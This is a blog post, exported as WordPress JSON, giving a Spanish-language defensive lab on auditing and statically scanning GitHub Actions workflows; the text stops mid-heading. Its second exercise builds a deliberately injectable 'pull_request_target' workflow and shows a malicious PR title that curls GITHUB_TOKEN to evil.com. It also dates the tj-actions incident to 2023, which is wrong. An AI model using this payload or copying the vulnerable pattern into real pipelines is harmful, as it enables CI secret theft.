{"id":706,"date":"2026-02-03T22:16:53","date_gmt":"2026-02-03T21:16:53","guid":{"rendered":"https:\/\/secure-pipelines.com\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis-2\/"},"modified":"2026-03-25T06:28:16","modified_gmt":"2026-03-25T05:28:16","slug":"lab-detecting-malicious-github-actions-static-analysis-2","status":"publish","type":"post","link":"https:\/\/secure-pipelines.com\/es\/ci-cd-security\/lab-detecting-malicious-github-actions-static-analysis-2\/","title":{"rendered":"Lab: Detecci\u00f3n de GitHub Actions Maliciosas con Static Analysis"},"content":{"rendered":"<h2>Descripci\u00f3n General<\/h2>\n<p>Las GitHub Actions de terceros son una de las funcionalidades m\u00e1s convenientes del ecosistema de GitHub. Con una simple directiva <code>uses:<\/code>, puedes incorporar l\u00f3gica de compilaci\u00f3n compleja, desplegar en proveedores cloud o ejecutar esc\u00e1neres de seguridad. Pero esa conveniencia conlleva una contrapartida cr\u00edtica: cada action de terceros ejecuta c\u00f3digo en tu entorno de CI con acceso a tus secrets, tokens y c\u00f3digo fuente.<\/p>\n<p>Una action comprometida o maliciosa puede exfiltrar credenciales, inyectar c\u00f3digo en tus artefactos de compilaci\u00f3n, modificar variables de entorno para alterar pasos posteriores, o insertar puertas traseras en tus releases. A diferencia de las dependencias gestionadas por gestores de paquetes, las GitHub Actions carecen de un ecosistema robusto de verificaci\u00f3n, lo que las convierte en un objetivo principal para ataques a la cadena de suministro.<\/p>\n<p>En este laboratorio pr\u00e1ctico, aprender\u00e1s a:<\/p>\n<ul>\n<li>Auditar manualmente actions de terceros en busca de comportamientos sospechosos<\/li>\n<li>Usar <strong>actionlint<\/strong> para detectar errores de configuraci\u00f3n y vulnerabilidades de inyecci\u00f3n de expresiones<\/li>\n<li>Usar <strong>zizmor<\/strong> para detectar anti-patrones de seguridad espec\u00edficos en workflows<\/li>\n<li>Fijar actions a referencias SHA inmutables y automatizar actualizaciones con Dependabot<\/li>\n<li>Aplicar una lista de actions permitidas para evitar que actions no autorizadas entren en tus pipelines<\/li>\n<li>Monitorear cambios en workflows mediante CODEOWNERS y verificaciones automatizadas en PRs<\/li>\n<\/ul>\n<p>Al finalizar este laboratorio, tendr\u00e1s una estrategia de defensa en capas que reduce el riesgo de compromiso de la cadena de suministro a trav\u00e9s de GitHub Actions.<\/p>\n<h2>Requisitos Previos<\/h2>\n<p>Antes de comenzar este laboratorio, aseg\u00farate de tener:<\/p>\n<ul>\n<li><strong>Una cuenta de GitHub<\/strong> con permisos para crear repositorios y configurar Actions<\/li>\n<li><strong>Un repositorio de prueba<\/strong> \u2014 crea un repositorio nuevo o utiliza uno existente que no sea de producci\u00f3n y que tenga al menos un workflow de GitHub Actions<\/li>\n<li><strong>Git CLI<\/strong> instalado y autenticado con GitHub<\/li>\n<li><strong>Node.js 18+<\/strong> (necesario para algunas herramientas)<\/li>\n<li><strong>Python 3.9+<\/strong> (para instalar zizmor)<\/li>\n<li><strong>GitHub CLI (<code>gh<\/code>)<\/strong> \u2014 instalar desde <a href=\"https:\/\/cli.github.com\/\" target=\"_blank\" rel=\"noopener\">cli.github.com<\/a><\/li>\n<li><strong>Conocimiento b\u00e1sico de GitHub Actions<\/strong> \u2014 debes entender la sintaxis YAML de workflows, jobs, steps y la palabra clave <code>uses:<\/code><\/li>\n<\/ul>\n<p>Crea un repositorio de prueba si no tienes uno:<\/p>\n<pre><code>gh repo create actions-security-lab --public --clone\ncd actions-security-lab\nmkdir -p .github\/workflows<\/code><\/pre>\n<p>Crea un archivo de workflow de ejemplo en <code>.github\/workflows\/ci.yml<\/code> que usaremos a lo largo de este laboratorio:<\/p>\n<pre><code>name: CI Pipeline\non:\n  push:\n    branches: [main]\n  pull_request:\n    branches: [main]\n\npermissions:\n  contents: read\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - uses: actions\/setup-node@v4\n        with:\n          node-version: '20'\n      - uses: actions\/cache@v4\n        with:\n          path: ~\/.npm\n          key: ${{ runner.os }}-npm-${{ hashFiles('**\/package-lock.json') }}\n      - run: npm ci\n      - run: npm test<\/code><\/pre>\n<h2>Comprendiendo la Amenaza<\/h2>\n<p>Antes de comenzar a escanear y auditar, es importante entender c\u00f3mo las GitHub Actions se convierten en vectores de ataque. Existen varios m\u00e9todos de compromiso bien documentados:<\/p>\n<h3>Toma de Control de Cuenta del Mantenedor<\/h3>\n<p>Un atacante obtiene acceso a la cuenta de GitHub del mantenedor de una action \u2014 mediante credential stuffing, phishing o secuestro de sesi\u00f3n. Una vez que controla la cuenta, env\u00eda c\u00f3digo malicioso al repositorio de la action y actualiza los tags existentes para que apunten al commit comprometido. Cada workflow que referencia ese tag obtiene inmediatamente la versi\u00f3n maliciosa en su siguiente ejecuci\u00f3n.<\/p>\n<h3>Actualizaciones Maliciosas de Tags<\/h3>\n<p>Los tags de Git son mutables. Un mantenedor de action (o un atacante con acceso de escritura) puede eliminar un tag como <code>v1<\/code> y recrearlo apuntando a un commit diferente. Si tu workflow usa <code>uses: some-action\/tool@v1<\/code>, est\u00e1s confiando en que el tag siempre apunta a c\u00f3digo seguro. Esta confianza se viola f\u00e1cilmente.<\/p>\n<h3>Typosquatting<\/h3>\n<p>Los atacantes crean actions con nombres confusamente similares a las populares. Por ejemplo:<\/p>\n<ul>\n<li><code>actions\/checkout<\/code> (leg\u00edtima) vs. <code>action\/checkout<\/code> (typosquat)<\/li>\n<li><code>actions\/setup-node<\/code> vs. <code>actions\/setup-nodejs<\/code><\/li>\n<li><code>docker\/build-push-action<\/code> vs. <code>docker\/build-and-push-action<\/code><\/li>\n<\/ul>\n<p>Un solo error tipogr\u00e1fico en el YAML de tu workflow puede incorporar una action completamente diferente y maliciosa.<\/p>\n<h3>Secuestro de Dependencias<\/h3>\n<p>Muchas GitHub Actions est\u00e1n basadas en JavaScript y tienen sus propias dependencias en <code>node_modules<\/code>. Si una dependencia de una action es comprometida (mediante un ataque a la cadena de suministro de npm), la propia action se convierte en un vector \u2014 incluso si el c\u00f3digo de la action en s\u00ed est\u00e1 limpio.<\/p>\n<h3>Incidentes Reales<\/h3>\n<p><strong>tj-actions\/changed-files (marzo 2023):<\/strong> Los atacantes comprometieron la ampliamente utilizada action <code>tj-actions\/changed-files<\/code> al obtener acceso a la cuenta del mantenedor. Modificaron la action para exfiltrar secrets de CI\/CD volcando la memoria del runner y las variables de entorno a los logs del workflow. Miles de repositorios se vieron afectados porque referenciaban tags mutables en lugar de SHAs fijados.<\/p>\n<p><strong>codecov\/codecov-action (2021):<\/strong> El Bash Uploader de Codecov fue modificado por atacantes que obtuvieron acceso a trav\u00e9s de una imagen Docker comprometida utilizada en el proceso de CI de Codecov. El script manipulado exfiltr\u00f3 variables de entorno \u2014 incluyendo tokens de CI, claves API y credenciales \u2014 de los entornos de CI de los clientes. Esto afect\u00f3 a un gran n\u00famero de organizaciones que ejecutaban la action de Codecov en sus pipelines.<\/p>\n<p>Estos incidentes comparten un patr\u00f3n com\u00fan: <strong>confianza en referencias mutables<\/strong>. Ambos podr\u00edan haberse mitigado fijando a SHAs inmutables y auditando el comportamiento de la action antes de adoptarla.<\/p>\n<h2>Ejercicio 1: Auditor\u00eda Manual de Actions<\/h2>\n<p>Las herramientas automatizadas son esenciales, pero no hay sustituto para entender lo que una action realmente hace. En este ejercicio, auditar\u00e1s manualmente tres actions de uso com\u00fan para desarrollar tu instinto para detectar patrones sospechosos.<\/p>\n<h3>Paso 1: Seleccionar Actions a Auditar<\/h3>\n<p>Del workflow de ejemplo anterior, auditaremos:<\/p>\n<ol>\n<li><code>actions\/checkout@v4<\/code><\/li>\n<li><code>actions\/setup-node@v4<\/code><\/li>\n<li><code>actions\/cache@v4<\/code><\/li>\n<\/ol>\n<h3>Paso 2: Revisar <code>action.yml<\/code><\/h3>\n<p>Para cada action, comienza examinando el archivo <code>action.yml<\/code> en el repositorio de la action. Este archivo define las entradas, salidas y punto de entrada de la action.<\/p>\n<pre><code># Clone the action to inspect locally\ngit clone --depth 1 https:\/\/github.com\/actions\/checkout.git \/tmp\/audit-checkout\ncat \/tmp\/audit-checkout\/action.yml<\/code><\/pre>\n<p>Aspectos clave a buscar en <code>action.yml<\/code>:<\/p>\n<ul>\n<li><strong>Punto de entrada:<\/strong> \u00bfEs una action de tipo <code>node<\/code> (ejecuta JavaScript), <code>composite<\/code> (ejecuta steps) o <code>docker<\/code> (ejecuta un contenedor)? Cada tipo tiene un perfil de riesgo diferente.<\/li>\n<li><strong>Entradas:<\/strong> \u00bfLa action acepta entradas sensibles como tokens o credenciales?<\/li>\n<li><strong>Post-action:<\/strong> \u00bfDefine un punto de entrada <code>post:<\/code>? Las post-actions se ejecutan incluso si el job falla, lo que las hace ideales para la exfiltraci\u00f3n.<\/li>\n<\/ul>\n<h3>Paso 3: Inspeccionar el C\u00f3digo Fuente<\/h3>\n<p>Para actions de JavaScript\/TypeScript, examina el archivo compilado <code>dist\/index.js<\/code> y el c\u00f3digo fuente en <code>src\/<\/code>:<\/p>\n<pre><code># Search for network calls\ngrep -rn 'https\\?:\/\/' \/tmp\/audit-checkout\/src\/ | grep -v 'github.com\\|api.github.com'\n\n# Search for secret access patterns\ngrep -rn 'GITHUB_TOKEN\\|process.env\\|getInput' \/tmp\/audit-checkout\/src\/\n\n# Search for file writes to sensitive locations\ngrep -rn 'GITHUB_ENV\\|GITHUB_OUTPUT\\|GITHUB_PATH' \/tmp\/audit-checkout\/src\/\n\n# Search for exec or spawn calls\ngrep -rn 'exec\\|spawn\\|child_process' \/tmp\/audit-checkout\/src\/<\/code><\/pre>\n<h3>Paso 4: Lista de Verificaci\u00f3n de Se\u00f1ales de Alerta<\/h3>\n<p>Usa esta lista de verificaci\u00f3n al auditar cualquier GitHub Action:<\/p>\n<table>\n<thead>\n<tr>\n<th>Se\u00f1al de Alerta<\/th>\n<th>Qu\u00e9 Buscar<\/th>\n<th>Nivel de Riesgo<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Llamadas de red a dominios desconocidos<\/td>\n<td><code>fetch()<\/code>, <code>http.request()<\/code>, <code>curl<\/code> a dominios que no son de GitHub<\/td>\n<td>Cr\u00edtico<\/td>\n<\/tr>\n<tr>\n<td>Acceso a secrets<\/td>\n<td>Lectura de <code>GITHUB_TOKEN<\/code>, <code>secrets.*<\/code> o variables de entorno<\/td>\n<td>Alto<\/td>\n<\/tr>\n<tr>\n<td>Manipulaci\u00f3n del entorno<\/td>\n<td>Escritura en <code>GITHUB_ENV<\/code>, <code>GITHUB_OUTPUT<\/code> o <code>GITHUB_PATH<\/code><\/td>\n<td>Alto<\/td>\n<\/tr>\n<tr>\n<td>Ejecuci\u00f3n din\u00e1mica de c\u00f3digo<\/td>\n<td><code>eval()<\/code>, <code>exec()<\/code>, descarga y ejecuci\u00f3n de scripts<\/td>\n<td>Cr\u00edtico<\/td>\n<\/tr>\n<tr>\n<td>C\u00f3digo ofuscado<\/td>\n<td>Cadenas codificadas en Base64, c\u00f3digo minificado sin source maps<\/td>\n<td>Alto<\/td>\n<\/tr>\n<tr>\n<td>Hooks post-action<\/td>\n<td>Punto de entrada <code>post:<\/code> en <code>action.yml<\/code><\/td>\n<td>Medio<\/td>\n<\/tr>\n<tr>\n<td>Permisos excesivos solicitados<\/td>\n<td>La documentaci\u00f3n solicita permisos de <code>write<\/code> m\u00e1s all\u00e1 de lo necesario<\/td>\n<td>Medio<\/td>\n<\/tr>\n<tr>\n<td>Sin verificaci\u00f3n ni firma<\/td>\n<td>Action no proviene de un creador verificado, sin firmas Sigstore<\/td>\n<td>Bajo-Medio<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h3>Paso 5: Ejemplo de Auditor\u00eda \u2014 <code>actions\/checkout@v4<\/code><\/h3>\n<p>Aqu\u00ed tienes una auditor\u00eda resumida de <code>actions\/checkout@v4<\/code>:<\/p>\n<pre><code># action.yml analysis\n# - Type: node20 (JavaScript action)\n# - Inputs: Accepts 'token' input (defaults to github.token)\n# - Post-action: Yes \u2014 runs cleanup to remove credentials\n\n# Network analysis\n# - Connects to: api.github.com (expected for git operations)\n# - No connections to third-party domains \u2713\n\n# Secret handling\n# - Uses GITHUB_TOKEN for authenticated git clone\n# - Token is persisted in git config by default (persist-credentials input)\n# - Post-action removes persisted credentials\n\n# Environment writes\n# - Does not write to GITHUB_ENV or GITHUB_PATH \u2713\n\n# Verdict: SAFE \u2014 behavior matches documented purpose\n# Recommendation: Set persist-credentials: false to minimize token exposure<\/code><\/pre>\n<p>Aplica este mismo proceso a cada nueva action antes de agregarla a tus workflows.<\/p>\n<h2>Ejercicio 2: Escaneo de Actions con actionlint<\/h2>\n<p><a href=\"https:\/\/github.com\/rhysd\/actionlint\" target=\"_blank\" rel=\"noopener\">actionlint<\/a> es una herramienta de static analysis para archivos de workflow de GitHub Actions. Detecta errores de sintaxis, desajustes de tipos y \u2014 algo cr\u00edtico para nuestros prop\u00f3sitos \u2014 vulnerabilidades de inyecci\u00f3n de expresiones.<\/p>\n<h3>Paso 1: Instalar actionlint<\/h3>\n<pre><code># macOS\nbrew install actionlint\n\n# Linux (download binary)\ncurl -sL https:\/\/github.com\/rhysd\/actionlint\/releases\/latest\/download\/actionlint_linux_amd64.tar.gz | tar xz\nsudo mv actionlint \/usr\/local\/bin\/\n\n# Verify installation\nactionlint --version<\/code><\/pre>\n<h3>Paso 2: Ejecutar Contra Tus Workflows<\/h3>\n<pre><code>actionlint .github\/workflows\/*.yml<\/code><\/pre>\n<p>Para nuestro workflow de CI de ejemplo, actionlint producir\u00e1 una salida limpia porque seguimos buenas pr\u00e1cticas. Introduzcamos un workflow vulnerable para ver las capacidades de detecci\u00f3n de seguridad de actionlint.<\/p>\n<h3>Paso 3: Crear un Workflow Vulnerable<\/h3>\n<p>Crea <code>.github\/workflows\/greet-pr.yml<\/code> con vulnerabilidades intencionales:<\/p>\n<pre><code>name: Greet PR\non:\n  pull_request_target:\n    types: [opened]\n\njobs:\n  greet:\n    runs-on: ubuntu-latest\n    permissions:\n      pull-requests: write\n    steps:\n      - name: Greet the contributor\n        run: |\n          echo \"PR Title: ${{ github.event.pull_request.title }}\"\n          echo \"PR Author: ${{ github.event.pull_request.user.login }}\"\n          echo \"PR Body: ${{ github.event.pull_request.body }}\"\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Post comment\n        run: |\n          curl -X POST \\\n            -H \"Authorization: token $GITHUB_TOKEN\" \\\n            -H \"Accept: application\/vnd.github.v3+json\" \\\n            https:\/\/api.github.com\/repos\/${{ github.repository }}\/issues\/${{ github.event.pull_request.number }}\/comments \\\n            -d '{\"body\": \"Welcome, ${{ github.event.pull_request.user.login }}! Thanks for your PR: ${{ github.event.pull_request.title }}\"}'<\/code><\/pre>\n<h3>Paso 4: Escanear el Workflow Vulnerable<\/h3>\n<pre><code>actionlint .github\/workflows\/greet-pr.yml<\/code><\/pre>\n<p>actionlint se\u00f1alar\u00e1 las vulnerabilidades de inyecci\u00f3n de expresiones:<\/p>\n<pre><code>.github\/workflows\/greet-pr.yml:14:27: expression injection: \n  \"github.event.pull_request.title\" is potentially untrusted. \n  Consider using an environment variable instead. \n  [expression]\n.github\/workflows\/greet-pr.yml:16:25: expression injection: \n  \"github.event.pull_request.body\" is potentially untrusted. \n  Consider using an environment variable instead. \n  [expression]<\/code><\/pre>\n<p>Los campos <code>title<\/code> y <code>body<\/code> son controlados por el autor del PR. Un atacante puede crear un t\u00edtulo de PR que contenga metacaracteres de shell para ejecutar comandos arbitrarios:<\/p>\n<pre><code># Malicious PR title:\nInnocent Title\"; curl -s https:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"<\/code><\/pre>\n<p>Cuando este t\u00edtulo se interpola directamente en el bloque <code>run:<\/code> mediante <code>${{ }}<\/code>, el shell ejecuta el comando inyectado.<\/p>\n<h3>Paso 5: Corregir la Vulnerabilidad<\/h3>\n<p>La soluci\u00f3n es pasar los datos no confiables a trav\u00e9s de variables de entorno en lugar de interpolaci\u00f3n directa:<\/p>\n<pre><code>name: Greet PR (Fixed)\non:\n  pull_request_target:\n    types: [opened]\n\njobs:\n  greet:\n    runs-on: ubuntu-latest\n    permissions:\n      pull-requests: write\n    steps:\n      - name: Greet the contributor\n        run: |\n          echo \"PR Title: $PR_TITLE\"\n          echo \"PR Author: $PR_AUTHOR\"\n          echo \"PR Body: $PR_BODY\"\n        env:\n          PR_TITLE: ${{ github.event.pull_request.title }}\n          PR_AUTHOR: ${{ github.event.pull_request.user.login }}\n          PR_BODY: ${{ github.event.pull_request.body }}\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n\n      - name: Post comment\n        uses: actions\/github-script@v7\n        with:\n          script: |\n            await github.rest.issues.createComment({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: context.payload.pull_request.number,\n              body: `Welcome, ${context.payload.pull_request.user.login}! Thanks for your PR.`\n            });<\/code><\/pre>\n<p>Las variables de entorno se pasan como datos, no se interpolan en comandos de shell, lo que previene la inyecci\u00f3n. Vuelve a ejecutar actionlint para confirmar la correcci\u00f3n:<\/p>\n<pre><code>actionlint .github\/workflows\/greet-pr-fixed.yml\n# No output = no issues found<\/code><\/pre>\n<h2>Ejercicio 3: Escaneo con zizmor<\/h2>\n<p><a href=\"https:\/\/github.com\/woodruffw\/zizmor\" target=\"_blank\" rel=\"noopener\">zizmor<\/a> es una herramienta de static analysis enfocada en seguridad, dise\u00f1ada espec\u00edficamente para GitHub Actions. Mientras que actionlint se centra en la correcci\u00f3n con algunas verificaciones de seguridad, zizmor se enfoca exclusivamente en anti-patrones de seguridad.<\/p>\n<h3>Paso 1: Instalar zizmor<\/h3>\n<pre><code># Install via pip\npip install zizmor\n\n# Or via pipx for isolation\npipx install zizmor\n\n# Verify installation\nzizmor --version<\/code><\/pre>\n<h3>Paso 2: Ejecutar Contra Tus Workflows<\/h3>\n<pre><code>zizmor .github\/workflows\/<\/code><\/pre>\n<p>zizmor analiza los workflows en busca de un conjunto completo de problemas de seguridad. En nuestro <code>ci.yml<\/code> de ejemplo, se\u00f1alar\u00e1:<\/p>\n<pre><code>ci.yml:15:9 warning[unpinned-uses]: unpinned 3rd-party action reference\n  |\n15|       - uses: actions\/checkout@v4\n  |         ^^^^ action not pinned to a full-length commit SHA\n  |\n  = note: Pinning actions to a full SHA protects against tag mutation attacks\n\nci.yml:17:9 warning[unpinned-uses]: unpinned 3rd-party action reference\n  |\n17|       - uses: actions\/setup-node@v4\n  |         ^^^^ action not pinned to a full-length commit SHA\n\nci.yml:20:9 warning[unpinned-uses]: unpinned 3rd-party action reference\n  |\n20|       - uses: actions\/cache@v4\n  |         ^^^^ action not pinned to a full-length commit SHA<\/code><\/pre>\n<h3>Paso 3: Escanear el Workflow Vulnerable<\/h3>\n<pre><code>zizmor .github\/workflows\/greet-pr.yml<\/code><\/pre>\n<p>zizmor producir\u00e1 hallazgos de seguridad m\u00e1s detallados:<\/p>\n<pre><code>greet-pr.yml:4:5 warning[dangerous-trigger]: use of dangerous trigger\n  |\n4 |   pull_request_target:\n  |   ^^^^^^^^^^^^^^^^^^^^ pull_request_target runs in the context of the base branch\n  |\n  = note: This trigger has access to repository secrets and a read-write token\n\ngreet-pr.yml:14:27 error[template-injection]: template injection in run: block\n  |\n14|          echo \"PR Title: ${{ github.event.pull_request.title }}\"\n  |                          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n  |\n  = note: Attacker-controlled input is interpolated directly into a shell command\n\ngreet-pr.yml:15:9 warning[unpinned-uses]: no actions pinned by SHA\n  |\n  = note: All third-party actions should be pinned to full commit SHAs\n\ngreet-pr.yml:12:5 warning[excessive-permissions]: permissions may be overly broad\n  |\n  = note: Consider using read-only permissions where possible<\/code><\/pre>\n<h3>Paso 4: Comparar actionlint y zizmor<\/h3>\n<table>\n<thead>\n<tr>\n<th>Caracter\u00edstica<\/th>\n<th>actionlint<\/th>\n<th>zizmor<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Enfoque principal<\/td>\n<td>Correcci\u00f3n y sintaxis<\/td>\n<td>An\u00e1lisis de seguridad<\/td>\n<\/tr>\n<tr>\n<td>Inyecci\u00f3n de expresiones<\/td>\n<td>S\u00ed<\/td>\n<td>S\u00ed (m\u00e1s completo)<\/td>\n<\/tr>\n<tr>\n<td>Actions no fijadas<\/td>\n<td>No<\/td>\n<td>S\u00ed<\/td>\n<\/tr>\n<tr>\n<td>Triggers peligrosos<\/td>\n<td>No<\/td>\n<td>S\u00ed<\/td>\n<\/tr>\n<tr>\n<td>Permisos excesivos<\/td>\n<td>No<\/td>\n<td>S\u00ed<\/td>\n<\/tr>\n<tr>\n<td>Envenenamiento de artefactos<\/td>\n<td>No<\/td>\n<td>S\u00ed<\/td>\n<\/tr>\n<tr>\n<td>Mala configuraci\u00f3n de OIDC<\/td>\n<td>No<\/td>\n<td>S\u00ed<\/td>\n<\/tr>\n<tr>\n<td>Verificaci\u00f3n de tipos<\/td>\n<td>S\u00ed<\/td>\n<td>No<\/td>\n<\/tr>\n<tr>\n<td>Sintaxis obsoleta<\/td>\n<td>S\u00ed<\/td>\n<td>No<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><strong>Recomendaci\u00f3n:<\/strong> Usa ambas herramientas juntas. actionlint detecta problemas de correcci\u00f3n y patrones b\u00e1sicos de inyecci\u00f3n; zizmor proporciona un an\u00e1lisis de seguridad m\u00e1s profundo. Agrega ambas a tu pipeline de CI:<\/p>\n<pre><code>name: Workflow Security Scan\non:\n  pull_request:\n    paths:\n      - '.github\/workflows\/**'\n\njobs:\n  scan:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4\n      - name: Run actionlint\n        run: |\n          brew install actionlint\n          actionlint .github\/workflows\/*.yml\n      - name: Run zizmor\n        run: |\n          pip install zizmor\n          zizmor .github\/workflows\/<\/code><\/pre>\n<h2>Ejercicio 4: Fijaci\u00f3n y Verificaci\u00f3n de la Integridad de Actions<\/h2>\n<p>Las referencias basadas en tags como <code>@v4<\/code> son mutables \u2014 el tag puede moverse para apuntar a cualquier commit en cualquier momento. Las fijaciones basadas en SHA son inmutables y proporcionan garant\u00eda criptogr\u00e1fica de que est\u00e1s ejecutando exactamente el c\u00f3digo que revisaste.<\/p>\n<h3>Paso 1: Resolver los SHAs de Tus Actions<\/h3>\n<p>Usa el GitHub CLI para resolver el SHA actual de cada tag de action:<\/p>\n<pre><code># Resolve actions\/checkout@v4\ngh api repos\/actions\/checkout\/git\/ref\/tags\/v4 --jq '.object.sha'\n# Output: b4ffde65f46336ab88eb53be808477a3936bae11\n\n# Resolve actions\/setup-node@v4\ngh api repos\/actions\/setup-node\/git\/ref\/tags\/v4 --jq '.object.sha'\n# Output: 60edb5dd545a775178f52524783378180af0d1f8\n\n# Resolve actions\/cache@v4\ngh api repos\/actions\/cache\/git\/ref\/tags\/v4 --jq '.object.sha'\n# Output: 0c45773b623bea8c8e75f6c82b208c3cf94d9d67<\/code><\/pre>\n<p><strong>Importante:<\/strong> Algunos tags apuntan a objetos de tag anotados en lugar de commits directamente. En ese caso, necesitas desreferenciar el tag:<\/p>\n<pre><code># If the above returns a 'tag' object type, dereference it:\ngh api repos\/actions\/checkout\/git\/ref\/tags\/v4 --jq '.object' \n# If type is \"tag\", fetch the underlying commit:\ngh api repos\/actions\/checkout\/git\/tags\/TAG_SHA --jq '.object.sha'<\/code><\/pre>\n<h3>Paso 2: Actualizar Tu Workflow<\/h3>\n<p>Reemplaza las referencias de tags con fijaciones SHA. Siempre agrega un comentario con el tag original para mejorar la legibilidad:<\/p>\n<pre><code>steps:\n  - uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4\n  - uses: actions\/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4\n    with:\n      node-version: '20'\n  - uses: actions\/cache@0c45773b623bea8c8e75f6c82b208c3cf94d9d67 # v4\n    with:\n      path: ~\/.npm\n      key: ${{ runner.os }}-npm-${{ hashFiles('**\/package-lock.json') }}<\/code><\/pre>\n<h3>Paso 3: Verificar Firmas Sigstore (Cuando Est\u00e9n Disponibles)<\/h3>\n<p>Algunos publicadores de actions firman sus releases usando Sigstore. Puedes verificar estas firmas:<\/p>\n<pre><code># Install cosign\nbrew install cosign\n\n# Verify a signed action release (if the publisher signs them)\ncosign verify-blob \\\n  --certificate-identity \"https:\/\/github.com\/actions\/checkout\/.github\/workflows\/release.yml@refs\/tags\/v4\" \\\n  --certificate-oidc-issuer \"https:\/\/token.actions.githubusercontent.com\" \\\n  --bundle checkout-v4.sigstore.json \\\n  checkout-v4.tar.gz<\/code><\/pre>\n<p>No todas las actions publican firmas Sigstore todav\u00eda, pero esta es una pr\u00e1ctica recomendada emergente.<\/p>\n<h3>Paso 4: Configurar Dependabot para Actualizaciones Autom\u00e1ticas de SHA<\/h3>\n<p>Fijar a SHAs significa que no recibir\u00e1s actualizaciones autom\u00e1ticamente. Usa Dependabot para automatizar esto mientras mantienes la inmutabilidad:<\/p>\n<p>Crea <code>.github\/dependabot.yml<\/code>:<\/p>\n<pre><code>version: 2\nupdates:\n  - package-ecosystem: \"github-actions\"\n    directory: \"\/\"\n    schedule:\n      interval: \"weekly\"\n      day: \"monday\"\n    open-pull-requests-limit: 10\n    labels:\n      - \"dependencies\"\n      - \"github-actions\"\n    reviewers:\n      - \"your-security-team\"\n    commit-message:\n      prefix: \"chore(deps)\"<\/code><\/pre>\n<p>Cuando se publica una nueva versi\u00f3n de una action, Dependabot crear\u00e1 un PR que actualiza la fijaci\u00f3n SHA:<\/p>\n<pre><code># Example Dependabot PR diff:\n- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n+ uses: actions\/checkout@8ade135a41bc03ea155e62e844d188df1ea18608 # v4.1.2<\/code><\/pre>\n<p>Esto te da lo mejor de ambos mundos: referencias inmutables con actualizaciones automatizadas que pasan por tu proceso normal de revisi\u00f3n de PRs.<\/p>\n<h2>Ejercicio 5: Aplicaci\u00f3n de una Lista de Actions Permitidas<\/h2>\n<p>Incluso con fijaci\u00f3n y escaneo, necesitas un mecanismo para evitar que se agreguen actions no aprobadas a los workflows. Una lista de permitidas asegura que solo se puedan usar actions verificadas.<\/p>\n<h3>Opci\u00f3n A: GitHub Enterprise \u2014 Lista de Permitidas a Nivel de Organizaci\u00f3n<\/h3>\n<p>Si usas GitHub Enterprise, puedes restringir las actions a nivel de organizaci\u00f3n:<\/p>\n<ol>\n<li>Ve a la <strong>Configuraci\u00f3n de tu Organizaci\u00f3n<\/strong><\/li>\n<li>Navega a <strong>Actions \u2192 General<\/strong><\/li>\n<li>En <strong>Policies<\/strong>, selecciona <strong>Allow select actions and reusable workflows<\/strong><\/li>\n<li>Agrega las actions aprobadas: <code>actions\/checkout@*<\/code>, <code>actions\/setup-node@*<\/code>, etc.<\/li>\n<\/ol>\n<p>Esta es la aplicaci\u00f3n m\u00e1s fuerte porque GitHub mismo rechazar\u00e1 las ejecuciones de workflows que usen actions no permitidas.<\/p>\n<h3>Opci\u00f3n B: Verificaci\u00f3n de Lista de Permitidas Basada en CI<\/h3>\n<p>Para organizaciones sin GitHub Enterprise, puedes crear un mecanismo de aplicaci\u00f3n basado en CI.<\/p>\n<p><strong>Paso 1: Crear la lista de permitidas.<\/strong><\/p>\n<p>Crea <code>allowed-actions.txt<\/code> en la ra\u00edz de tu repositorio:<\/p>\n<pre><code># Approved GitHub Actions\n# Format: owner\/repo\n# Lines starting with # are comments\n\n# Official GitHub actions\nactions\/checkout\nactions\/setup-node\nactions\/cache\nactions\/upload-artifact\nactions\/download-artifact\nactions\/github-script\n\n# Security scanning\ngithub\/codeql-action\n\n# Approved third-party\ndocker\/build-push-action\ndocker\/login-action<\/code><\/pre>\n<p><strong>Paso 2: Crear el script de validaci\u00f3n.<\/strong><\/p>\n<p>Crea <code>scripts\/check-actions.sh<\/code>:<\/p>\n<pre><code>#!\/bin\/bash\nset -euo pipefail\n\nALLOWLIST=\"allowed-actions.txt\"\nWORKFLOW_DIR=\".github\/workflows\"\nFAILED=0\n\nif [[ ! -f \"$ALLOWLIST\" ]]; then\n  echo \"ERROR: Allowlist file not found: $ALLOWLIST\"\n  exit 1\nfi\n\n# Extract all 'uses:' references from workflow files\necho \"Scanning workflow files for action references...\"\necho \"================================================\"\n\nfor workflow in \"$WORKFLOW_DIR\"\/*.yml \"$WORKFLOW_DIR\"\/*.yaml; do\n  [[ -f \"$workflow\" ]] || continue\n  \n  echo \"\"\n  echo \"Checking: $workflow\"\n  \n  # Extract action references (owner\/repo from uses: owner\/repo@ref)\n  actions=$(grep -oP 'uses:\\s+\\K[^@\\s]+' \"$workflow\" | \\\n    grep '\/' | \\\n    grep -v '^\\.\\.\/\\|^docker:\/\/' | \\\n    sort -u)\n  \n  for action in $actions; do\n    if grep -qx \"$action\" \"$ALLOWLIST\"; then\n      echo \"  \u2713 $action (approved)\"\n    else\n      echo \"  \u2717 $action (NOT IN ALLOWLIST)\"\n      FAILED=1\n    fi\n  done\ndone\n\necho \"\"\necho \"================================================\"\nif [[ $FAILED -eq 1 ]]; then\n  echo \"FAILED: Unapproved actions detected!\"\n  echo \"To approve a new action, add it to $ALLOWLIST and get security team review.\"\n  exit 1\nelse\n  echo \"PASSED: All actions are approved.\"\nfi<\/code><\/pre>\n<p>Haz el script ejecutable:<\/p>\n<pre><code>chmod +x scripts\/check-actions.sh<\/code><\/pre>\n<p><strong>Paso 3: Crear el workflow de 